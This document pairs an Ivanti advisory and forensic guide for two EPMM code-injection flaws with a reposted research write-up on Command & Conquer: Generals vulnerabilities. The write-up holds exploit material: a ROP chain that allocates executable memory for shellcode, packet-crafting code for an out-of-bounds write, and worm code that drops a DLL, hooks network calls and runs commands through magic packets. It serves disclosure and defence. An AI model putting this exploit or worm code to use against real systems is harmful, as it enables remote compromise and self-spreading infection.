https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US https://forums.ivanti.com/s/article/Analysis-Guidance-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US

Article Number : 000104594

Summary

Ivanti has released updates for Endpoint Manager Mobile (EPMM) which addresses two critical severity vulnerabilities. Successful exploitation could lead to unauthenticated remote code execution.

We are aware of a very limited number of customers whose solution has been exploited at the time of disclosure.

This vulnerability does not impact any other Ivanti products, including any cloud products, such as Ivanti Neurons for MDM. Ivanti Endpoint Manager (EPM) is a different product and also not impacted by these vulnerabilities. Customers using an Ivanti cloud product with Sentry are also not impacted by this vulnerability.

Vulnerability Details:

CVE Number	Description	CVSS Score (Severity)	CVSS Vector	CWE
CVE-2026-1281	Code injection in Ivanti Endpoint Manager Mobile allowing unauthenticated RCE	9.8 (Critical)	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	CWE-94
CVE-2026-1340	Code injection in Ivanti Endpoint Manager Mobile allowing unauthenticated RCE	9.8 (Critical)	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	CWE-94

Affected Versions

Product Name	Affected Version(s)	Affected CPE(s)	Resolved Version(s)	Patch Availability
Ivanti Endpoint Manager Mobile	12.5.0.0 and prior 12.6.0.0 and prior 12.7.0.0 and prior	cpe:2.3: a:ivanti:endpoint_manager_mobile:12.7.0.0:::::::*	RPM 12.x.0.x	https://support.mobileiron.com/mi/vsp/AB1771634/ivanti-security-update-1761642-1.0.0S-5.noarch.rpm
Ivanti Endpoint Manager Mobile	12.5.1.0 and prior 12.6.1.0 and prior	cpe:2.3: a:ivanti:endpoint_manager_mobile:12.5.1.0::::::: cpe:2.3: a:ivanti:endpoint_manager_mobile:12.6.1.0:::::::	RPM 12.x.1.x	https://support.mobileiron.com/mi/vsp/AB1771634/ivanti-security-update-1761642-1.0.0L-5.noarch.rpm

Customers should apply either RPM 12.x.0.x or RPM 12.x.1.x, depending on their version. Customers do not need to apply both RPMs as they are version specific, not vulnerability specific.

No downtime is required to apply this patch, and we are not aware of any feature functionality impact with this patch.

RPM_12.x.0.x Applicable versions: 12.5.0.x, 12.6.0.x and 12.7.0.x

- Compatible Versions: 12.3.0.x and 12.4.0.x

RPM_12.x.1.x Applicable Versions: 12.5.1.0 and 12.6.1.0

Important: the RPM script does not survive a version upgrade. If after applying the RPM script to your appliance, you upgrade to a new version you will need to reinstall the RPM. The permanent fix for this vulnerability will be included in the next product release: 12.8.0.0.

Customers need to prefix the support.mobileiron.com credentials while using the install rpm command.

Below you can find the Syntax to run the patch:

        install rpm url https://username:password@support.mobileiron.com/mi/vsp/AB1771634/ivanti-security-update-1761642-1.0.0S-5.noarch.rpm

    install rpm url https://username:password@support.mobileiron.com/mi/vsp/AB1771634/ivanti-security-update-1761642-1.0.0L-5.noarch.rpm

The username and password are the customers software download credentials. For more detailed instructions, please leverage the following steps.

We strongly encourage all EPMM customers to adopt version 12.8.0.0 once it has been released later in Q1 2026. Once you have upgraded to 12.8.0.0, you will not need to reapply the RPM script. We are providing Technical Analysis that includes affected endpoint specifics and log analysis guidance which can be found below to support investigation and forensics.

Customers should determine their own risk appetite when securing their environment. The most conservative approach, regardless of exploitation, would be to build a replacement EPMM and then migrate data to the device. You can find instructions on how to do this HERE. This does not require re-enrollment of devices.

Note: Ivanti is dedicated to ensuring the security and integrity of our enterprise software products. We recognize the vital role that security researchers, ethical hackers, and the broader security community play in identifying and reporting vulnerabilities. Visit HERE to learn more about our Vulnerability Disclosure Policy.

Analysis Guidance Ivanti Endpoint Manager Mobile (EPMM)

The information in this document includes threat indicators and defensive measures and was created for the purpose of assisting Ivanti customers and defenders as they examine their Ivanti EPMM solution for any impact due to the recently disclosed Remote Code Execution vulnerabilities (CVE-2026-1281 & CVE-2026-1340). This document includes information about reviewing logs for potential exploitation, details about potential impact from successful exploitation, and methods for recovery and remediation.

It is important for you to know that neither CVE-2026-1281 nor CVE-2026-1340 impacts Ivanti Sentry. However, the EPMM must have access to Sentry, including the execution of commands, for Sentry to function and the configuration to be maintained. As such, this document also includes information on reviewing Ivanti Sentry for potential lateral movement. Customers who use Ivanti Sentry with their Neurons for MDM do not need to follow this guidance.

Ivanti Endpoint Manager (Ivanti EPM) is a different product and not impacted by this vulnerability. Ivanti Neurons for MDM is not impacted by this vulnerability.

Before performing any analysis, we strongly recommend you apply the latest security patches. The latest information for protecting your EPMM from both CVEs is available here: https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340 Limitations on Atomic Indicators

Due to the small number of known-impacted customers, Ivanti does not have enough information about the threat actor tactics to provide proven, reliable atomic indicators. This document will focus on more generic information about detecting attempted exploitation instead of reconnaissance or post-exploitation activities.

If more reliable information becomes available in the future, Ivanti will update this page. The last revision date is at the top. Log Analysis

CVE-2026-1281 and CVE-2026-1340 affect the In-House Application Distribution and the Android File Transfer Configuration features. The Apache Access Log (/var/log/httpd/https-access_log) will record attempted and successful exploitation of both vulnerabilities. If you use these features, you may see legitimate traffic to these endpoints. Legitimate use of these capabilities will result in 200 HTTP response codes in the Apache Access Log whereas successful or attempted exploitation will cause 404 HTTP response codes. We recommend reviewing these and any other GET requests with parameters that have bash commands.

The following regular expression can be used to quickly triage httpd log files:

^(?!127\.0\.0\.1:\d+ .*$).*?\/mifs\/c\/(aft|app)store\/fob\/.*?404

Deployments that have been patched will generate legitimate heartbeat requests to the service. The above regular expression is written to exclude such events. An example of the heartbeat is below:

127.0.0.1:33354 - - 2026-01-28--12-00-01 "GET /mifs/c/aftstore/fob/3/0/sha256:kid=0 HTTP/1.1" 404

The on-box logging can be manipulated by a threat actor who has successfully exploited the system. We strongly recommend reviewing your SIEM or other log aggregator/collector rather than the logs from the system itself (see Off-box logging instructions below). Reviewing for post-exploit persistence

Based on Ivanti’s analysis of threat actor toolkits targeting older vulnerabilities of the Ivanti EPMM application, we have seen two common methods of persistence.

The most common is the introduction of, or modification of, malicious files to introduce web shell capabilities. Ivanti has commonly seen these changes target HTTP error pages, such as 401.jsp. Any requests to these pages with POST methods or with parameters should be considered highly suspicious. Analysts who are performing forensic inspection of the disk should also review for unexpected WAR or JAR files being introduced to the system.

The latter is the deployment of reverse shells. The Ivanti EPMM appliance does not commonly make outbound network connections. We recommend reviewing firewall logs for long-running connections initiated by the appliance. Off-box logging

Based on Ivanti’s analysis of threat actor toolkits targeting older vulnerabilities on the Ivanti appliance, analysts should assume that the threat actor techniques will likely include the clearing of logs or removal of specific log entries. Furthermore, the log files on an EPMM appliance are rotated based on both the size and time range. Systems with high utilization and/or increased logging, such as debug logging, may see their logs rotate multiple times a day.

To ensure you can investigate issues on your appliance, we strongly recommend you make use of our Data Export features to forward logs from your EPMM solution to a SIEM. More information about forwarding logs using syslog can be found here: https://help.ivanti.com/mi/help/en_us/core/11.x/sys/CoreSystemManager/Data_Export__SysLog.htm

Impact

EPMM

Successful exploitation of the EPMM appliance will enable arbitrary code execution on the appliance. Aside from lateral movement to the connected environment, EPMM also contains sensitive information about devices managed by the appliance. Below is the list of potentially available data types.

Category	Description
Information about the EPMM Administrator	First and Last Name Business Email Address Account Username
Information about a device user	Account Username First and Last Name Email Address User Principal Name (Active Directory)
Information about mobile devices	Phone number(s) Nearest cell tower location GPS location Device Identifier (UUID or SSAID) IMEI ICCID (iOS) IMSI or MEID Azure AD Device ID (Windows only) Wi-Fi, Bluetooth, Ethernet MAC Address Installed applications (name and version) IP Address UUID GCM or APNs Token

In general, any information that is available on EPMM’s MIFS portal should be considered as available to an attacker after a successful exploit.

In addition to obtaining the above information, the API can be used to make changes to the EPMM configuration. If the changes are made through the API or web console, these changes are logged. Depending on your risk tolerance, you may want to review your EPMM configuration. For any appliance that you suspect may be impacted, we would recommend you review:

EPMM administrators for new or recently changed administrators.
Authentication configuration, including SSO and LDAP settings.
New pushed applications for mobile devices.
Configuration changes to applications you push to devices, including in-house applications.
New or recently modified policies.
Network configuration changes, including any network configuration or VPN configuration you push to mobile devices.

Please note that this is general guidance and Ivanti has not observed or received any indication that such changes have been made to a customer’s EPMM appliance maliciously. Sentry

While EPMM can be restricted to a DMZ with little to no access to the rest of a corporate network, Sentry is specifically intended to tunnel specific types of traffic from mobile devices to internal network assets. If you suspect that your EPMM appliance is impacted, we recommend you review the systems that Sentry can access for potential recon or lateral movement. Remediation and Recovery

Due to the complexity of the EPMM product, Ivanti does NOT recommend attempting to clean the system after it has been compromised. If your system is confirmed compromised, there are two options for restoring your device to a known-good state.

Option 1:

Our preferred recommendation is to restore your Ivanti EPMM from existing, known good backups from your enterprise backup solution or from virtual machine snapshots. When choosing the optimal backup solution, please take into consideration the exploit timing.

The log analysis should provide indication of date/time of first successful exploit.

Considering the vulnerability to have remained unpatched, you may have to check for a backup that is previous to the earliest log entry (IoC).

Option 2:

If it is not possible to recover your EPMM from a backup, Ivanti recommends building a replacement EPMM and then migrating data to the device. Information on how to do this can be found here: https://forums.ivanti.com/s/article/EPMM-Rebuild-the-EPMM-with-options

Additional documentation on the System Backup feature can be found here: https://help.ivanti.com/mi/help/en_us/core/11.x/sys/CoreSystemManager/System_backup.htm

NOTE: In both cases above, it is critical to restore the system while it is not available to the internet and then apply the approved mitigation or patches before returning the system to service. You can safely return the system to service once all remediation and recovery actions are completed.

After restoring the system, we recommend making the following additional changes to help secure your environment:

Reset the password of any local EPMM accounts.
Reset the password the LDAP and/or KDC service accounts perform lookups. https://help.ivanti.com/mi/help/en_us/core/11.x/gsg/CoreGettingStarted/Configuring_LDAP_servers.htm
Revoke and replace the public certificate used for your EPMM.
Reset the password for any other internal or external service accounts configured with EPMM solution.

Scanning Activity

Ivanti expects security researchers, both individuals and organizations, to begin scanning internet-facing appliances for this specific endpoint after the patch is released. Such scanning will make it more difficult to separate scanning from exploit attempts. Besides advising you to review the source of the IP addresses, there is no additional advice Ivanti can provide to separate scanning activity from attempted exploit.

Details on Location Tracking Services

EPMM collects Device location based on privacy policy settings. It is disabled by default. The feature is applicable for iOS and Android platforms.

You can find information about how the service is configured here: https://help.ivanti.com/mi/help/en_us/core/11.x/gsg/CoreGettingStarted/Privacy_policies.htm

This is where you can see the data through the admin console: https://help.ivanti.com/mi/help/en_us/CORE/12.x/dmga/DMGfiles/Locate.htm Concerning Encrypted Private Keys in Core Database

Ivanti EPMM stores encrypted private keys along with hashed passwords in database when customers enable the “Store keys on Core” feature. Even with significant expertise in the EPMM product, it is difficult to be able to obtain a password and successfully decrypt the private keys. Ivanti has never seen this performed in the wild. More information on this feature can be found here: https://help.ivanti.com/mi/help/en_us/CORE/12.x/dmga/DMGfiles/Cert_Enroll_s_1_ConfigSCEP.htm. This feature is disabled by default.

However, Ivanti recommends revoking previously generated user certificates and regenerating using admin driven action from the EPMM product. Instructions for revoking certifications can be found here: https://help.ivanti.com/mi/help/en_us/CORE/14.x/dmga/DMGfiles/About_logs_CertMgmt.htm#troubleshooting_3631632413_1032053

FAQ

Are you aware of any active exploitation of these vulnerabilities?

We are aware of a very limited number of customers who have been exploited at the time of disclosure.

How can I tell if I have been compromised?

The investigation is ongoing and Ivanti does not have reliable atomic indicators at this time. We are providing a Technical Analysis for defenders HERE.

Is Sentry vulnerable?

No, Sentry does not contain this vulnerability, however you should always review the security of the Sentry appliance at the same time as EPMM due to the dependency it has on the EPMM appliance and configuration.

Customers who use Sentry with a cloud product are not impacted by this vulnerability.

Is Ivanti Neurons for MDM vulnerable?

No. Ivanti Neurons does not contain this vulnerability. Ivanti cloud solutions are not impacted by this vulnerability.

What actions have Ivanti taken in response to this discovery?

In addition to rapidly and proactively providing a patch, Ivanti has mobilized additional resources and support teams to assist customers and is actively collaborating with security partners, the broader security community and law enforcement.

Will HA sync apply the RPM patch to our secondary core if a secondary core is being used?

No, the RPM patch needs to be applied to each core separately. HA Sync will not apply the patch to any secondary cores automatically.

Do I need to apply both RPM patches?

No. The RPM patches are version specific, not vulnerability specific. You only need to apply the RPM patch that corresponds with your version.

How do I validate if the RPM was applied successfully?

When the RPM is installed, there will be a response line indicating success. An error of any kind will be generated if there’s an issue with the application.

What should I do if I need help?

Related vulnerabilities: CVE-2026-1340 CVE-2026-1281

General Graboids: Worms and Remote Code Execution in Command & Conquer

2026-01-29T14:42:24 by Andras Iklody

JSON

General Graboids: Worms and Remote Code Execution in Command & Conquer — Atredis Partners

[this work was conducted collaboratively by Bryan Alexander and Jordan Whitehead]

The following GCVE were assigned:

Report taken from: https://www.atredis.com/blog/2026/1/26/generals

This post details several vulnerabilities discovered in the online game Command & Conquer: Generals. We recently presented some of this work at an information security conference and this post contains technical details about the game’s network architecture, its exposed attack surface, discovered vulnerabilities, and full details of a worm we developed to demonstrate impact.

Full source code, including PoCs, can be found in our public Github repository here. Though the game is considered end-of-life by Electronic Arts, publicly available community patches are available addressing these issues; for more information see this project.

Research introduction

In early 2025, EA Games released the source code for Command & Conquer: Generals (C&C:G), the final installment in the real-time strategy (RTS) series popular in the late 1990’s and early 2000’s. Included in this source release was Zero Hour, the first and only expansion released in 2003, the same year as Generals. The game was released with both single and multiplayer gameplay, with multiplayer supporting LAN and online lobbies via the GameSpy service. Gamespy eventually went defunct in 2014 and along with it the online C&C:G servers.

Junkyard is an end-of-life pwnathon where researchers bring zero-day vulnerabilities to end-of-life (EoL) products, be it hardware, software, firmware, or a combination of the three. Points are given based on impact, presentation engagement and quality, and overall silliness. The event is held during Districtcon, a relatively new information security conference held yearly in Washington DC. We loved the idea of the event and were eager to identify potential targets to contribute. C&C:G fit the bill as both interesting and EoL’d.

When we first started the project we were kicking around ideas for fuzzing the network layer, but once we spent a little bit of time with the code, we found there really was no need.

Target overview

The source code includes all core components including the engine, networking stack, and various clients, but does not include models and other proprietary dependencies (such as third-party licensed tooling). This means the game cannot be built straight from the repository as is. Instead of attempting to build the game, we instead picked up a few licenses from Steam to provide dynamic instrumentation alongside our static code review.

When a client starts a game lobby, UDP port 8086 is opened up. This is the lobby port and exclusively processes meta-game commands and requests, such as player join, leave, chat, and more. For game packets used to synchronize state, trigger actions, and other combat activities, a separate port is opened once the game begins on port 8088.

Network Architecture

C&C:G Network Architecture

While C&C:G has a peer-to-peer based networking architecture where the host can function as a packet router to all clients, it’s not relevant to the overall attack surface. Each client that connects must be accessible over both of these ports. When played on LAN, this means 0.0.0.0:8086 and 0.0.0.0:8088 must both be routable.

Packet format to both ports follows a similar structure with a few key differences:

+-------------------------------------------------------------+
| Wordwise XOR/Endian-swap Encrypted Payload                  |
|                                                             |
|   +----------------------+--------------------------------+ |
|   | CRC32 (LE)           | 4 bytes                        | |
|   +----------------------+--------------------------------+ |
|   | Magic                | 0D F0                          | |
|   +----------------------+--------------------------------+ |
|   | Header               | 1 bytes                        | | 
|   +----------------------+--------------------------------+ |
|   | Data                 | up to MAX_FRAG_SIZE bytes      | |
|   +----------------------+--------------------------------+ |
|   | Padding              | 4 byte boundary                | |
|   +-------------------------------------------------------+ |
+-------------------------------------------------------------+

The above is the general shape of each packet, which includes a mandatory four byte CRC32 and two byte magic header. Each packet is XOR encoded using a hard-coded key and has a relatively robust packet fragmentation mechanism.

The header is a type header that roughly follows the standard tag-length-value (TLV) format and is recursively parsed by receiving clients. The following is an example of a NETCOMMANDTYPE_FILE packet (received on the lobby port):

+---------+---------------------------+-------------------------------+
| Offset  | Bytes                    | Description                    |
+---------+---------------------------+-------------------------------+
| 00–03   | fc 37 a9 53              | CRC32 (LE)                     |
+---------+---------------------------+-------------------------------+
| 04–05   | 0d f0                    | Magic                          |
+---------+---------------------------+-------------------------------+
| 06      | 54                       | Command Type Tag (‘T’)         |
+---------+---------------------------+-------------------------------+
| 07      | 12                       | Command Type Value             |
+---------+---------------------------+-------------------------------+
| 08      | 44                       | Data Type Tag (‘D’)            |
+---------+---------------------------+-------------------------------+
| 09–N    | &lt;string&gt;                 | First Data Value               |
+---------+---------------------------+-------------------------------+
| N–N+4   | 04 00 00 00              | Data Length (LE uint32)        |
+---------+---------------------------+-------------------------------+
| N–N+4   | 41 41 41 41              | Second Data Value ("AAAA")     |
+---------+---------------------------+-------------------------------+
| N–N     | 40 40                    | Padding (4 byte boundary)      |
+---------+---------------------------+-------------------------------+

The type tag is specified at offset 07 (0x12) and the data for that tag follows the data type tag at offset 08. This structure allows each type to individually parse its section and optionally support multiple types per packet.

Message parsing takes place inside NetPacket objects and, as you might expect, parses the command type tag inside a massive if/else statement:

if (commandType == NETCOMMANDTYPE_GAMECOMMAND) {
    msg = readGameMessage(data, offset);
} else if (commandType == NETCOMMANDTYPE_ACKBOTH) {
    msg = readAckBothMessage(data, offset);
} else if (commandType == NETCOMMANDTYPE_ACKSTAGE1) {
    msg = readAckStage1Message(data, offset);
} else if (commandType == NETCOMMANDTYPE_ACKSTAGE2) {
    msg = readAckStage2Message(data, offset);
...

Handlers are then responsible for parsing the data portion and actioning it as necessary.

Vulnerabilities

Filename Stack Overflow

We discovered the first memory corruption vulnerability in the net command handlers NetPacket::readFileMessage and NetPacket::readFileAnnounceMessage. These commands could be sent to any peer inside a multiplayer game (even if the attacker were not a member of the game).

NetCommandMsg * NetPacket::readFileMessage(UnsignedByte *data, Int &amp;i) {
    NetFileCommandMsg *msg = newInstance(NetFileCommandMsg);
    char filename[_MAX_PATH];
    char *c = filename;

    while (data[i] != 0) {
        *c = data[i];
        ++c;
        ++i;
    }
    *c = 0;
    ++i;
    msg-&gt;setPortableFilename(AsciiString(filename));    // it's transferred as a portable filename

    UnsignedInt dataLength = 0;
    memcpy(&amp;dataLength, data + i, sizeof(dataLength));
    i += sizeof(dataLength);

    UnsignedByte *buf = NEW UnsignedByte[dataLength];
    memcpy(buf, data + i, dataLength);
    i += dataLength;

    msg-&gt;setFileData(buf, dataLength);

    return msg;
}

While not quite as simple as grepping for memcpy, it was easy to catch the stack buffer of size _MAX_PATH next to a loop copying untrusted data until hitting a NULL. We confirmed the issue at first by injecting packets in the processing loop using Frida, then later through a Python client.

(3d80.b28): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=0ccc5974 ebx=1f138298 ecx=41414141 edx=0019f700
esi=0ccad888 edi=ffffffff eip=44444444 esp=0019f900
ebp=00000013 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 
44444444 ?? ???

Proving out exploitation for this bug was a nostalgic experience. The game runs in 32-bit mode and many of the libraries used are not randomized with ASLR. This meant that this bug alone was sufficient to gain code execution on a remote machine. While game packets do have a limited length, they also support a fragmented packet format that allows for larger payloads through a NetCommandWrapperList object. With no client authentication and a simple static XOR for “encryption”, we were able to make a static payload that could exploit any game peer. (The “just for fun” comment is in the original source.)

static inline void encryptBuf( unsigned char *buf, Int len )
{
    UnsignedInt mask = 0x0000Fade;

    UnsignedInt *uintPtr = (UnsignedInt *) (buf);

    for (int i=0 ; i&lt;len/4 ; i++) {
        *uintPtr = (*uintPtr) ^ mask;
        *uintPtr = htonl(*uintPtr);
        uintPtr++;
        mask += 0x00000321; // just for fun
    }
}

The libraries that did not randomize their address space were not huge, but had sufficient gadgets for our needs. The main constraint on our RoP chain was avoiding NULL bytes which would end the overflow. Our initial portion of the chain pivoted to the rest of our chain in the packet, using pointers available in registers at the time of EIP control. After pivoting the stack, our ROP chain set up a RWX portion of memory, copied in our shellcode, and executed it.

    #...
    # chain with nulls allowed
    c = b""

    # save a reference to the old stack for later cleanup
    # no regs to use so use extra space in rw seg
    c += G_POP_ECX
    c += dw(EXTRA_RW_SPACE + 0)
    c += G_MOV_PTRECX_EAX

    # get a reference to VirtualAlloc from mss32.dll
    c += G_POP_EAX
    c += VIRTUALALLOC_PTR
    c += G_MOV_EAX_PTREAX

    # call virtualalloc
    # this messes up the heap we are using as a stack
    # so first pad a bunch
    c += (G_ADD_ESP_104 + (b"B" * (esp_adjust_amount-4))) * (fake_stack_pad_amt // esp_adjust_amount)

    c += G_JMP_EAX
    c += G_R # return
    c += dw(0) # lpAddress = NULL
    c += dw(0x4000) # dwSize
    c += dw(0x1000) # flAllocationType = MEM_COMMIT
    c += dw(0x40) # flProtect = PAGE_EXECUTE_READWRITE
    #...

Some C&C characters standing around, unaware the game was just exploited

← They have no idea how close they were to SEGFAULT

Our python harness could craft payloads with shellcode to run arbitrary commands, or load libraries from a given path. By being careful with our initial NULL-less RoP chain, we were able to avoid corrupting too much of the stack, and our exploit restores the stack to an earlier frame (ConnectionManager::doRelay) without missing a beat.

    mov edi, esp
stack_search_loop:
    add edi, 4

    mov eax, GEN_ZH_UNPATCHED_DORELAY_RET
    cmp [edi], eax
    je stack_search_found_zhun

    mov eax, GEN_ZH_PATCHED_DORELAY_RET
    cmp [edi], eax
    je stack_search_found_zhpa

    jmp stack_search_loop
    # ...

Exploit Flow

Arbitrary File Drop

This stack overflow was not the only exploitable issue we encountered. That same network command handler, NetPacket::readFileMessage, did not properly constrain files that were sent from a peer. Files of arbitrary extensions were accepted, as well as file paths outside of the original game directory. Simply sending a properly named .dll file was sufficient to ensure remote code execution the next time the game was started.

void ConnectionManager::processFile(NetFileCommandMsg *msg)
{
    if (TheFileSystem-&gt;doesFileExist(msg-&gt;getRealFilename().str()))
    {
        DEBUG_LOG(("File exists already!\n"));
        //return;
    }

    UnsignedByte *buf = msg-&gt;getFileData();
    Int len = msg-&gt;getFileLength();

    File *fp = TheFileSystem-&gt;openFile(msg-&gt;getRealFilename().str(), File::CREATE | File::BINARY | File::WRITE);
    if (fp)
    {
        fp-&gt;write(buf, len);
        fp-&gt;close();
        fp = NULL;
        DEBUG_LOG(("Wrote %d bytes to file %s!\n",len,msg-&gt;getRealFilename().str()));

    }

Out-of-Bounds Write

Another interesting issue we found was in the packet fragmentation logic used earlier to support our large exploit payload.

void NetCommandWrapperListNode::copyChunkData(NetWrapperCommandMsg *msg) {
    if (msg == NULL) {
        DEBUG_CRASH(("Trying to copy data from a non-existent wrapper command message"));
        return;
    }

    if (m_chunksPresent[msg-&gt;getChunkNumber()] == TRUE) {
        // we already received this chunk, no need to recopy it.
        return;
    }

    m_chunksPresent[msg-&gt;getChunkNumber()] = TRUE;
    UnsignedInt offset = msg-&gt;getDataOffset();
    memcpy(m_data + offset, msg-&gt;getData(), msg-&gt;getDataLength());
    ++m_numChunksPresent;
}

In the above function the msg->getDataOffset() call returns a controlled UnsignedInt without any restrictions. The msg->getDataLength() is likewise controlled by the sender. msg->getData() points to unfiltered packet data, resulting in a very straightforward out-of-bounds write from any offset to the m_data member. The size of the m_data member is determined by the initial wrapper command, and no checks are made to ensure the subsequent chunks of data are within the allocation.

  frag = b""
  frag += b'T\x11'
  frag += b"C" + struct.pack("&lt;H", cmdid)
  frag += b'D'
  frag += struct.pack("&lt;H", wrapped_cmdid)
  frag += struct.pack("&lt;I", ci)
  frag += struct.pack("&lt;I", len(chunks))
  frag += struct.pack("&lt;I", len(payload))
  frag += struct.pack("&lt;I", len(chunks[ci]))  # Controlled Write Length
  frag += struct.pack("&lt;I", offset)           # Controlled Write Offset
  frag += chunks[ci]                          # Controlled Data

  offset += len(chunks[ci])
  frags.append(frag)

Worming

Once we had reliable remote code execution vulnerabilities developed, we turned our attention to the payload. Because of the nature of peer-to-peer multiplayer gaming, the ability for an infected player to further spread the infection to all other players, both in the present game and future games, was an appealing one.

Building a worm is relatively straightforward once you’ve infected a single user. The overall flow for infection is summarized by the following diagram:

Worm Diagram

Worming Flow

We’ll dig into the details of each step by step.

Delivery

As previously described, C&C:G’s online architecture is peer-to-peer; this means each player must be accessible via both their game and lobby ports. We first leverage the readFileMessage file write vulnerability to drop a DLL to disk, containing the worming capabilities and command-and-control functionality for continued abuse.

The DLL is dropped into the root folder of C&C:G which, on each launch of the game, will attempt to load a file called dbghelp.dll from the local path. The payload is written as a standard Windows DLL that executes on process attach. Once the file is written it then needs to be loaded. While there are certain techniques we found that could be leveraged to load the DLL mid-game, they weren’t as reliable as we’d like. Instead we opted to trigger the memory corruption in readFileMessage and deliver a LoadLibrary payload.

Trigger

Once the worm is installed for persistence and loaded into the currently running game, we can begin to set up hooks and listen for magic packets. Because C&C:G was written in the early 2000’s, it relies on some of the older socket APIs available in Windows. We opted to install Import Address Table (IAT) hooks in the APIs used (WSOCK32.dll) that intercepted all calls to recvfrom which was used to process incoming packets from the listening port. If you’re not familiar with how this works, you can read more about IAT hooks here or review the iatHook function in the provided code above.

Now that we were intercepting packets, we wanted to support two different cases:

Magic packets from remote systems
Magic chat messages

The first case was intended to support remote attackers executing arbitrary payloads or commands on the system and surreptitiously gain access to the underlying game engine. The second was intended to support in-game magic chat commands which could be hidden from victims. We’ll detail these in the next few sections.

Because packet formats are well structured it’s relatively easy to parse these out. We opted to reuse this structure to setup magic packet support so as to not impact uninfected systems in-game:

if (*cursor == 'T') {
    cbNetType = cursor[1];
    cursor += 2;

    // check if this command has our magic bytes
    if (containsMagicWord(buf, rlen)) {
        // it does, process and drop the packet
        handleInfectorPkt(buf, rlen);

        memset(buf, 0x0, len);
        rlen = 0;

        goto RECRYPT;
    }
}

In the above, we reuse the type tag to distinguish between magic packets and standard C&C:G packets. This structure of an infector packet is as follows:

0000  41 41 41 41 41 41 54 AD 4E AD DE 00 09 00 00 00   AAAAAAT.N.......
0010  63 61 6C 63 2E 65 78 65 00 40 40 40               calc.exe.@@@

Note that the first 6 bytes in the case of the magic packet do not matter; since we are hooking the recvfrom function and processing this before the game gets a chance, the checksum need not be validated nor does the C&C:G header need to be inspected. Further, games without the infection will not process the packets due to the missing magic bytes.

Our magic packet bytes (0xdead4ead) immediately follow the type tag which we then process as an infector packet.

Spread

The key to a worm is its ability to autonomously spread itself. To do this, we need to perform a few actions:

Determine who is in a game
Determine if we’ve infected them already
Get their IP addresses
Send the payload

Determining who is in a game is, mercifully, a rather simple task. When players join a game, even when a game starts from a lobby, game messages are sent to all other players and with our hooks we can parse them out:

if (*cursor == MSG_JOIN_ACCEPT) {
    OutputDebugStringA("[!] new user joined\n");

    LANMessage* msg = (LANMessage*)(buf + 6);
    OutputDebugStringA(format("[!] userName: %s\n", msg-&gt;userName).c_str());
    OutputDebugStringA(format("[!] hostName: %s\n", msg-&gt;hostName).c_str());
    OutputDebugStringA(format("[!] game IP address: %08x %s\n", 
msg-&gt;GameJoined.gameIP, 
uintToIP(msg-&gt;GameJoined.gameIP).c_str()).c_str());
    OutputDebugStringA(format("[!] user IP address: %08x %s\n", 
msg-&gt;GameJoined.playerIP, 
uintToIP(msg-&gt;GameJoined.playerIP).c_str()).c_str());

This gives us a full list of players in a game in addition to the IP address of each joined user.

Determining if we’ve infected a player or not is a little more tricky due to the disparate spreading nature of worms. While we can trivially track who we’ve infected within the bounds of a single game, once the worm spreads to other players in other games, another mechanism is needed. For simplicity’s sake we’ve opted to simply track who was infected in a single game. To determine this outside the game, we could implement “are you infected?” magic packets that would respond if they were or remain silent if they were not.

We’ve already established how to obtain a player IP address and now all that’s left is to send the payload. This is done using the strategy outlined in the delivery section above.

Payloads

Once players in a game have been infected the real fun can begin. Our worm implements the following infector packet types:

enum INFECTOR_TYPE
{
    INFECTOR_CMD,
    INFECTOR_ACTION,
};

INFECTOR_CMD is used to execute arbitrary operating system commands. It was mostly set up for testing, but it’s common for any self-respecting worm to feature this ability so we decided to leave it.

INFECTOR_ACTION allows for manipulation of the internal game engine. C&C:G uses a rudimentary scripting engine for use by bots and in-game actions. The game engine implements this under its ScriptEngine and you can find the massive switch statement with all supported script actions here. Within our worm, since there is no ASLR, we can invoke the executing functions by address; the following demonstrates how to force the player to sell everything:

typedef void(__thiscall* SellEverything_t)(void* thisplayer);
#define FUN_Player_SellEverything   ((SellEverything_t)0x454fa0) // v1.05 C&amp;C:G
..
void** pPlayerList = *GPTR_ThePlayerList;
void* pLocalPlayer = pPlayerList[INDX_PlayerList_m_local];
FUN_Player_SellEverything(pLocalPlayer);

There is a catch to this, however. The engine is intended only to be used for the local game state and does not percolate changes across players in the game. This, unfortunately, means changes to the local game state desynchronize the player and cause a disconnect. Not ideal!

While we did not investigate how much effort it would take to manually (or automatically via some undiscovered ScriptEngine capability) distribute game updates, a variety of script actions exist that impact only the local instance. This includes things like displaying text, playing sound files, adjusting the camera, and others. These are ultimately what we implemented in the current payload.

Injecting a “SellAll” ScriptAction from the Implant

Fixes

After initial discovery and creation of the PoCs, we reached out to EA Games in August 2025 to report these issues. EA was helpful but confirmed that the issues were not within scope of their support.

> “Command & Conquer: Generals is a legacy title. EA’s official online services for Command & Conquer: Generals were retired several years ago, and multiplayer for this game today is typically provided via a community-run or user-hosted infrastructure, which EA does not operate or control.”

— EA Product Security

EA also received an early copy of our presentation slides for review which we’ve included in the project repository linked above.

Even though C&C:G is a legacy title with no active support, we thought the vulnerabilities were significant enough to warrant CVEs for community tracking. We reached out to EA Games, who are a CNA, to provide CVE’s but they declined on the basis that they do not issue CVEs for legacy titles. We have escalated this conversation to MITRE and are currently in the process of obtaining these for the described bugs. We’ll update this post once they become available.

In December of 2025 we reached out over Discord to maintainers of a community run fork/patch of the game, GeneralsGameCode. We coordinated with developers to ensure that they were aware of the issues in the game engine, and had appropriate patches. Some of these vulnerabilities were already being tracked in the community by December, having been independently discovered by community members. We worked with the maintainers to ensure their understanding of the severity of those issues, and disclose other issues. You can see some of the relevant fixes here:

We want to thank the community developers for their quick response and fixes! It is amazing to see the effort and passion that goes into keeping games like this one alive.

Timeline

2025-08-06: Atredis Partners sent an initial notification to vendor
2025-08-06: EA Games confirms receipt of the reports
2025-08-07: EA Games requests additional platform information
2025-08-11: EA Games validates the three vulnerabilities and assigns two high severity and one medium severity
